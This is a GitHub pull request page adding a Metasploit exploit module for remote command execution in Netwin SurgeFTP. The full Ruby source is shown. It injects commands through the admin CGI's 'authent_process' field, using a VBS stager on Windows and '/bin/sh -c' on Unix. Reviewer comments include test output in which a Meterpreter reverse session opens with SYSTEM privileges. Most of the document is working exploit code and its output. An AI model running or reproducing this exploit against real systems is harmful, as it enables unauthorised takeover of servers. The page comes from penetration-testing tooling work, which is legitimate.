Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Add Netwin surgeftp exec module #1198

Merged
merged 5 commits into from
Dec 22, 2012
Merged

Add Netwin surgeftp exec module #1198

Changes from 4 commits
Commits
Show all changes
5 commits
Select commit Hold shift + click to select a range
529a3c9
Add Netwin SurgeFTP module
sinn3r Dec 21, 2012
1323081
msftidy cleanup
sinn3r Dec 21, 2012
ca72132
Add a check
sinn3r Dec 21, 2012
49248c7
Oops, didn't mean to keep these lines
sinn3r Dec 22, 2012
d97a63a
Make changes based on juan and egypt's feedback
sinn3r Dec 22, 2012
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
133 changes: 133 additions & 0 deletions modules/exploits/multi/http/netwin_surgeftp_exec.rb
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,133 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS

def initialize(info = {})
super(update_info(info,
'Name' => 'Netwin SurgeFTP Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability found in Netwin SurgeFTP, version 23c8
or prior. In order to execute commands via the FTP service, please note that
you must have a valid credential to the web-based administrative console.
},
'Author' =>
[
'Spencer McIntyre', #Who found this vuln?
'sinn3r'
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '23522']
],
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'} ],
[ 'Unix', { 'Arch'=>ARCH_CMD, 'Platform'=>'unix'} ]
],
'DisclosureDate' => 'Dec 06 2012'))

register_options(
[
Opt::RPORT(7021),
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
OptString.new('FOLDER', [ true, 'The folder to write to for Windows target', 'C:\\Windows\\Temp\\'])
], self.class)
end

def check
res = send_request_raw({'uri'=>'/cgi/surgeftpmgr.cgi'})
if res and res.body =~ /surgeftp\x20\x0d\x0a\x20\x20Manager CGI/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def execute_command(cmd, opts)
# Unfortunately we can't use env vars
cmd = cmd.gsub(/\%TEMP\%\\/, datastore['FOLDER'])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

In my case, when deleting this line, the exploit still works, and the payload dropped to the temp dir, maybe the FOLDER variable isn't needed? (Testing on windows xp sp);

[*] Command Stager progress -  98.33% done (103738/105503 bytes)
[*] Command Stager progress -  98.75% done (104187/105503 bytes)
[*] Command Stager progress -  99.20% done (104663/105503 bytes)
[*] Command Stager progress -  99.66% done (105145/105503 bytes)
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Command Stager progress - 100.00% done (105503/105503 bytes)
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.147:1441) at 2012-12-22 08:50:44 +0100

meterpreter > pwd
C:\surgeftp
meterpreter > cd %TEMP%
meterpreter > ls

Listing: C:\WINDOWS\TEMP
========================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40777/rwxrwxrwx   0      dir   2012-12-22 08:50:43 +0100  .
40777/rwxrwxrwx   0      dir   2012-12-22 08:50:43 +0100  ..
100666/rw-rw-rw-  16384  fil   2012-12-16 15:44:35 +0100  Perflib_Perfdata_1e0.dat
100666/rw-rw-rw-  16384  fil   2012-12-18 11:56:32 +0100  Perflib_Perfdata_34c.dat
100666/rw-rw-rw-  16384  fil   2012-12-16 16:05:54 +0100  Perflib_Perfdata_e64.dat
100666/rw-rw-rw-  1024   fil   2012-12-18 11:55:57 +0100  spnserv.dat
100666/rw-rw-rw-  1024   fil   2012-12-18 11:55:57 +0100  spserv.dat
40777/rwxrwxrwx   0      dir   2012-12-16 19:31:46 +0100  vmware-SYSTEM
100777/rwxrwxrwx  73802  fil   2012-12-22 08:50:43 +0100  zKuBc.exe <===

meterpreter > ps -S zKu
Filtering on process name...

Process List
============

 PID   PPID  Name       Arch  Session  User                 Path
 ---   ----  ----       ----  -------  ----                 ----
 2996  3120  zKuBc.exe  x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\TEMP\zKuBc.exe

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

weird, ok

http_send_command("cmd.exe /q /c #{cmd}")
end

def http_send_command(command)
res = send_request_cgi(
{
'uri' => '/cgi/surgeftpmgr.cgi',
'method' => 'POST',
'basic_auth' => datastore['USERNAME'] + ":" + datastore['PASSWORD'],
'vars_post' =>
{
'global_smtp' => "",
'global_restart' => "",
'global_style' => "",
'global_bind' => "",
'global_passive_ip' => "",
'global_passive_match' => "",
'global_logon_mode' => "",
'global_log_host' => "",
'global_login_error' => "",
'global_adminip' => "",
'global_total_users' => "",
'global_con_perip' => "",
'global_ssl' => "",
'global_ssl_cipher_list' => "",
'global_implicit_port' => "",
'log_level' => "",
'log_home' => "",
'global_watcher_program_ul' => "",
'global_watcher_program_dl' => "",
'authent_process' => command,
'authent_cmdopts' => "",
'authent_number' => "",
'authent_domain' => "",
'global_strip_user_domain' => "",
'global_noclass' => "",
'global_anon_hammer_over_time' => "",
'global_anon_hammer_max' => "",
'global_anon_hammer_block_time' => "",
'global_port' => "",
'global_mgr_port' => "",
'global_mgr_ssl_port' => "",
'cmd_global_save.x' => "36",
'cmd_global_save.y' => "8",
}
})

if res and res.body =~ /401 Authorization failed/
fail_with(Exploit::Failure::NoAccess, "Unable to log in!")
elsif not (res and res.code == 200)
fail_with(Exploit::Failure::Unknown, 'Failed to execute command.')
end
end

def exploit
case target['Platform']
when 'win'
print_status("#{rhost}:#{rport} - Sending VBS stager...")
execute_cmdstager({:linemax=>500})

when 'unix'
print_status("#{rhost}:#{rport} - Sending payload...")
http_send_command(%Q|/bin/sh -c "#{payload.encoded}"|)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This makes me think that " should be a badchar for the unix target.

end

handler
end
end